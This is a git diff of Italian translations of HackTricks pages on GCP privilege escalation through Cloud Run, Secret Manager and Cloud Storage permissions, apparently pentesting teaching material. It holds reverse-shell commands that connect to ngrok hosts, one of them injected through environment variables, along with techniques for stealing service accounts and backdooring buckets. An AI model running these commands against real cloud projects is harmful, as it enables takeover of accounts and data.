qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh). +Nota che se si usa `gcloud run deploy` invece di creare semplicemente il servizio **è necessario il permesso `update`**. Vedi un [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh). ### `run.services.update` , `iam.serviceAccounts.actAs` Come il precedente ma aggiornando un servizio: - -<details> -<summary>Distribuire un servizio Cloud Run con reverse shell</summary> ```bash # Launch some web server to listen in port 80 so the service works echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64 @@ -39,18 +36,29 @@ gcloud run deploy hacked \ # If you don't have permissions to use "--allow-unauthenticated", dont use it ``` -</details> - ### `run.services.setIamPolicy` -Concediti permessi privilegiati su Cloud Run. +Concediti permessi precedenti su cloud Run. +```bash +# Change policy +gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \ +--region=us-central1 +# Add binding +gcloud run services add-iam-policy-binding <SERVICE_NAME> \ +--member="allUsers" \ +--role="roles/run.invoker" \ +--region=us-central1 + +# Remove binding +gcloud run services remove-iam-policy-binding <SERVICE_NAME> \ +--member="allUsers" \ +--role="roles/run.invoker" \ +--region=us-central1 +``` ### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`) -Avvia un job con una reverse shell per rubare il service account indicato nel comando. Puoi trovare un [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh). - -<details> -<summary>Create Cloud Run job with reverse shell</summary> +Avvia un job con una reverse shell per rubare l'account di servizio indicato nel comando. Puoi trovare un [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh). ```bash gcloud beta run jobs create jab-cloudrun-3326 \ --image=ubuntu:latest \ @@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \ --region=us-central1 ``` -</details> - ### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`) -Analogamente al caso precedente, è possibile **aggiornare un job modificando la SA**, il **comando** e **eseguirlo**: - -<details> -<summary>Aggiornare il job di Cloud Run ed eseguirlo con reverse shell</summary> +Simile al precedente, è possibile **aggiornare un job e aggiornare la SA**, modificare il **comando** ed **eseguirlo**: ```bash gcloud beta run jobs update hacked \ --image=mubuntu:latest \ @@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \ --region=us-central1 \ --execute-now ``` -</details> - ### `run.jobs.setIamPolicy` Concediti le autorizzazioni precedenti su Cloud Jobs. +```bash +# Change policy +gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \ +--region=us-central1 +# Add binding +gcloud run jobs add-iam-policy-binding <JOB_NAME> \ +--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \ +--role="roles/run.invoker" \ +--region=us-central1 + +# Remove binding +gcloud run jobs remove-iam-policy-binding <JOB_NAME> \ +--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \ +--role="roles/run.invoker" \ +--region=us-central1 +``` ### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`) -Abusa delle variabili d'ambiente di un'esecuzione di job per eseguire codice arbitrario e ottenere una reverse shell per eseguire il dump del contenuto del container (codice sorgente) e accedere al SA nei metadati: - -<details> -<summary>Esegui un job Cloud Run sfruttando variabili d'ambiente</summary> +Abusa delle variabili d'ambiente di un job in esecuzione per eseguire codice arbitrario e ottenere una reverse shell per scaricare il contenuto del container (codice sorgente) e accedere alla SA nei metadati: ```bash gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s" ``` -</details> - ## Riferimenti - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md index 4c94f4b3e..823370684 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md @@ -12,7 +12,7 @@ Per maggiori informazioni su secretmanager: ### `secretmanager.versions.access` -Questo ti consente di leggere i secrets dal secret manager e potrebbe aiutare a scalare i privilegi (a seconda delle informazioni memorizzate all'interno del secret): +Questo ti permette di leggere i secret dal secret manager e potrebbe aiutare a scalare i privilegi (a seconda delle informazioni memorizzate all'interno del secret): <details><summary>Ottieni la versione del secret in chiaro</summary> ```bash @@ -21,7 +21,7 @@ gcloud secrets versions access 1 --secret="<secret_name>" ``` </details> -Poiché questa è anche una tecnica di post exploitation, può essere trovata in: +Poiché questo è anche una post exploitation technique, può essere trovato in: {{#ref}} ../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md @@ -29,14 +29,20 @@ Poiché questa è anche una tecnica di post exploitation, può essere trovata in ### `secretmanager.secrets.setIamPolicy` -Questo ti consente di leggere i secrets dal Secret Manager, ad esempio usando: +Questo ti consente di leggere i secrets dal secret manager, ad esempio usando: -<details><summary>Aggiungi binding di policy IAM al secret</summary> +<details><summary>Add IAM policy binding to secret</summary> ```bash gcloud secrets add-iam-policy-binding <scret-name> \ --member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \ --role="roles/secretmanager.secretAccessor" ``` +Oppure revoca le policy con: +```bash +gcloud secrets remove-iam-policy-binding <secret-name> \ +--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \ +--role="roles/secretmanager.secretAccessor" +``` </details> {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md index f5a634c8c..2ad7afcb7 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md @@ -12,28 +12,82 @@ Informazioni di base: ### `storage.objects.get` -Questa permission ti permette di **download files stored inside Cloud Storage**. Questo può potenzialmente consentire escalation di privilegi perché in alcune occasioni **sensitive information is saved there**. Inoltre, alcuni servizi GCP salvano le loro informazioni in buckets: +Questa autorizzazione ti permette di **scaricare file memorizzati in Cloud Storage**. Questo potenzialmente può permetterti di escalate privileges perché in alcune occasioni **informazioni sensibili sono memorizzate lì**. Inoltre, alcuni servizi GCP memorizzano le loro informazioni in buckets: -- **GCP Composer**: Quando crei un Composer Environment il **codice di tutti i DAGs** sarà salvato dentro un **bucket**. Questi task potrebbero contenere informazioni interessanti nel loro codice. -- **GCR (Container Registry)**: le **image** dei container sono memorizzate dentro **buckets**, il che significa che se puoi leggere i buckets potrai scaricare le image e **cercare leak e/o codice sorgente**. +- **GCP Composer**: Quando crei un Composer Environment il **codice di tutti i DAGs** sarà salvato dentro un **bucket**. Questi task potrebbero contenere informazioni interessanti all'interno del loro codice. +- **GCR (Container Registry)**: Le **image** dei container sono memorizzate dentro **buckets**, il che significa che se puoi leggere i buckets potrai scaricare le immagini e **cercare leak e/o codice sorgente**. ### `storage.objects.setIamPolicy` -Questa permission ti permette di abusare di uno qualsiasi degli scenari precedenti in questa sezione. +Questa autorizzazione può permetterti di **abusare di uno qualsiasi degli scenari precedenti di questa sezione**. +```bash +# Add binding +gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \ +--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \ +--role="<ROLE>" \ +--project=<PROJECT_ID> +# Remove binding +gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \ +--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \ +--role="<ROLE>" \ +--project=<PROJECT_ID> + +# Change Policy +gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \ +--project=<PROJECT_ID> <<'POLICY' +{ +"bindings": [ +{ +"role": "<ROLE>", +"members": [ +"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" +] +} +] +} +POLICY + +``` ### **`storage.buckets.setIamPolicy`** -Per un esempio su come modificare i permessi con questa permission controlla questa pagina: +Per un esempio su come modificare i permessi con questo permesso consulta questa pagina: +```bash +# Add binding +gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \ +--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \ +--role=<ROLE> \ +--project=<MY_PROJECT> +# Remove binding +gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \ +--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \ +--role=<ROLE> \ +--project=<MY_PROJECT> + +# Change policy +gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \ +--project=<PROJECT_ID> <<'POLICY' +{ +"bindings": [ +{ +"role": "<ROLE>", +"members": [ +"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" +] +} +] +} +POLICY + +``` {{#ref}} ../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md {{#endref}} ### `storage.hmacKeys.create` -La feature "interoperability" di Cloud Storage, progettata per le **cross-cloud interactions** come con AWS S3, comporta la **creazione di HMAC keys per Service Accounts e utenti**. Un attaccante può sfruttare questo generando una HMAC key per un Service Account con privilegi elevati, elevando così i privilegi all'interno di Cloud Storage. Mentre le HMAC keys associate a utenti sono recuperabili solo tramite la web console, sia l'access che la secret key restano **permanentemente accessibili**, permettendo possibili backup per lo storage dell'accesso. Al contrario, le HMAC keys legate ai Service Account sono accessibili via API, ma le loro access e secret keys non sono recuperabili dopo la creazione, aggiungendo un livello di complessità per l'accesso continuo. - -<details><summary>Create and use HMAC key for privilege escalation</summary> +La feature "interoperability" di Cloud Storage, progettata per le **interazioni cross-cloud** come con AWS S3, prevede la **creazione di HMAC keys per Service Accounts e utenti**. Un attacker può sfruttarla **generando un HMAC key per un Service Account con privilegi elevati**, ottenendo così una **escalation dei privilegi all'interno di Cloud Storage**. Mentre gli HMAC keys associati agli utenti sono recuperabili solo tramite il web console, sia gli access and secret keys restano **perpetuamente accessibili**, permettendo di conservarli come backup per l'accesso. Al contrario, gli HMAC keys collegati ai Service Account sono accessibili via API, ma i loro access and secret keys non sono recuperabili dopo la creazione, aggiungendo un livello di complessità per l'accesso continuo. ```bash # Create key gsutil hmac create <sa-email> # You might need to execute this inside a VM instance @@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME] # Restore gcloud config set pass_credentials_to_gsutil true ``` -</details> - -Un altro script di exploit per questo metodo può essere trovato [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). +Un altro script di exploit per questo metodo si trova [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). ### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions -Per poter **creare un nuovo oggetto** dentro un bucket serve `storage.objects.create` e, secondo [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), serve anche `storage.objects.delete` per **modificare** un oggetto esistente. +Per poter **creare un nuovo oggetto** all'interno di un bucket è necessario `storage.objects.create` e, secondo [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), è inoltre necessario `storage.objects.delete` per **modificare** un oggetto esistente. -Una **sfruttamento molto comune** dei bucket scrivibili è quando il **bucket salva file del web server**: potresti essere in grado di **caricare nuovo codice** che verrà usato dall'applicazione web. +Un **sfruttamento** molto comune dei bucket su cui si può scrivere nel cloud è quando il **bucket salva file del web server**: potresti essere in grado di **inserire nuovo codice** che verrà utilizzato dall'applicazione web. ### Composer -**Composer** è **Apache Airflow** gestito in GCP. Ha diverse caratteristiche interessanti: +**Composer** è **Apache Airflow** gestito all'interno di GCP. Ha diverse caratteristiche interessanti: -- Esegue all'interno di un **GKE cluster**, quindi la **SA usata dal cluster è accessibile** dal codice che gira dentro Composer -- Tutti i componenti di un ambiente Composer (**code of DAGs**, plugin e dati) sono memorizzati dentro un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, può monitorare il bucket e **ogni volta che viene creato o aggiornato un DAG, sottomettere una versione backdoored** così l'ambiente Composer prenderà dalla storage la versione backdoored. +- Esegue all'interno di un **GKE cluster**, quindi la **SA the cluster uses is accessible** dal codice che gira dentro Composer +- Tutti i componenti di un ambiente composer (**code of DAGs**, plugins and data) sono memorizzati all'interno di un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, potrebbe monitorare il bucket e **ogni volta che un DAG viene creato o aggiornato, inviare una versione backdoored** così l'ambiente composer prenderà dalla storage la versione backdoored. **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs) ### Cloud Functions -- Il codice di Cloud Functions è salvato in Storage e ogni volta che viene creata una nuova versione il codice viene pushato nel bucket e poi dal codice viene buildato il nuovo container. Di conseguenza, **sovrascrivendo il codice prima che la nuova versione venga buildata è possibile far eseguire codice arbitrario alla cloud function**. +- Il codice di Cloud Functions è memorizzato in Storage e ogni volta che viene creata una nuova versione il codice viene caricato nel bucket e poi il nuovo container viene costruito da questo codice. Pertanto, **sovrascrivendo il codice prima che la nuova versione venga costruita è possibile far eseguire alla Cloud Function codice arbitrario**. **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions) ### App Engine -Le versioni di AppEngine generano alcuni dati dentro un bucket con il formato nome: `staging.<project-id>.appspot.com`. Dentro questo bucket è possibile trovare una cartella chiamata `ae` che conterrà una cartella per ogni versione dell'app AppEngine e all'interno di queste cartelle si può trovare il file `manifest.json`. Questo file contiene un json con tutti i file che devono essere usati per creare la specifica versione. Inoltre, è possibile trovare i **nomi reali dei file, l'URL a essi dentro il bucket GCP (i file nel bucket cambiano nome con il loro sha1 hash) e lo sha1 hash di ciascun file.** +Le versioni di AppEngine generano alcuni dati all'interno di un bucket con nome nel formato: `staging.<project-id>.appspot.com`. All'interno di questo bucket è possibile trovare una cartella chiamata `ae` che conterrà una cartella per versione dell'app AppEngine e all'interno di queste cartelle sarà possibile trovare il file `manifest.json`. Questo file contiene un JSON con tutti i file che devono essere usati per creare la specifica versione. Inoltre, è possibile trovare i **nomi reali dei file, l'URL verso di essi all'interno del bucket GCP (i file dentro il bucket hanno cambiato nome con il loro sha1 hash) e l'hash sha1 di ciascun file.** _Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._ -Tuttavia, con accesso di lettura e scrittura su questo bucket è possibile scalare privilegi all'SA collegato alla versione di App Engine monitorando il bucket e ogni volta che viene effettuata una modifica (nuova versione), modificare la nuova versione il più rapidamente possibile. In questo modo il container creato da quel codice eseguirà il codice backdoored. +Tuttavia, con accesso di lettura e scrittura su questo bucket, è possibile escalare privilegi alla SA associata alla versione di App Engine monitorando il bucket e ogni volta che viene effettuato un cambiamento (nuova versione), modificare la nuova versione il più rapidamente possibile. In questo modo, il container che viene creato da questo codice eseguirà il codice backdoored. -L'attacco menzionato può essere eseguito in molti modi diversi; tutti iniziano monitorando il bucket `staging.<project-id>.appspot.com`: +L'attacco menzionato può essere eseguito in molti modi diversi, tutti partono dal monitorare il bucket `staging.<project-id>.appspot.com`: -- Caricare il codice completo della nuova versione di AppEngine in un bucket diverso e disponibile e preparare un file **`manifest.json` con il nuovo nome del bucket e gli sha1 hash** dei file. Quando viene creata una nuova versione nel bucket, basta modificare il `manifest.json` e caricare quello maligno. -- Caricare una versione modificata di `requirements.txt` che userà dipendenze malevole e aggiornare il `manifest.json` con il nuovo filename, URL e hash. -- Caricare un **`main.py` o `app.yaml` modificato che eseguirà il codice maligno** e aggiornare il `manifest.json` con il nuovo filename, URL e hash. +- Caricare il codice completo della nuova versione di AppEngine in un bucket diverso e disponibile e preparare un **`manifest.json` con il nuovo nome del bucket e gli sha1 hash dei file**. Poi, quando viene creata una nuova versione dentro il bucket, sarà sufficiente modificare il `manifest.json` e caricare quello malevolo. +- Caricare una versione modificata di `requirements.txt` che userà il **codice delle dipendenze malevole e aggiornare il `manifest.json`** con il nuovo filename, URL e hash. +- Caricare un file **`main.py` o `app.yaml` modificato che eseguirà il codice malevolo** e aggiornare il `manifest.json` con il nuovo filename, URL e hash. **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine) ### GCR -- **Google Container Registry** memorizza le immagini dentro bucket; se puoi **scrivere in quei bucket** potresti essere in grado di **muoverti lateralmente verso dove quelle immagini vengono eseguite.** -- Il bucket usato da GCR avrà un URL simile a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (i sottodomini di primo livello sono specificati [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). +- **Google Container Registry** memorizza le immagini all'interno di bucket; se puoi **scrivere in quei bucket** potresti essere in grado di **muoverti lateralmente verso i servizi dove quelle immagini vengono eseguite.** +- Il bucket usato da GCR avrà un URL simile a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (I sottodomini di livello superiore sono specificati [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). > [!TIP] -> Questo servizio è deprecato quindi questo attacco non è più utile. Inoltre, Artifact Registry, il servizio che lo sostituisce, non memorizza le immagini in bucket. +> Questo servizio è deprecato quindi questo attacco non è più utile. Inoltre, Artifact Registry, il servizio che sostituisce questo, non memorizza le immagini in bucket. ## **References**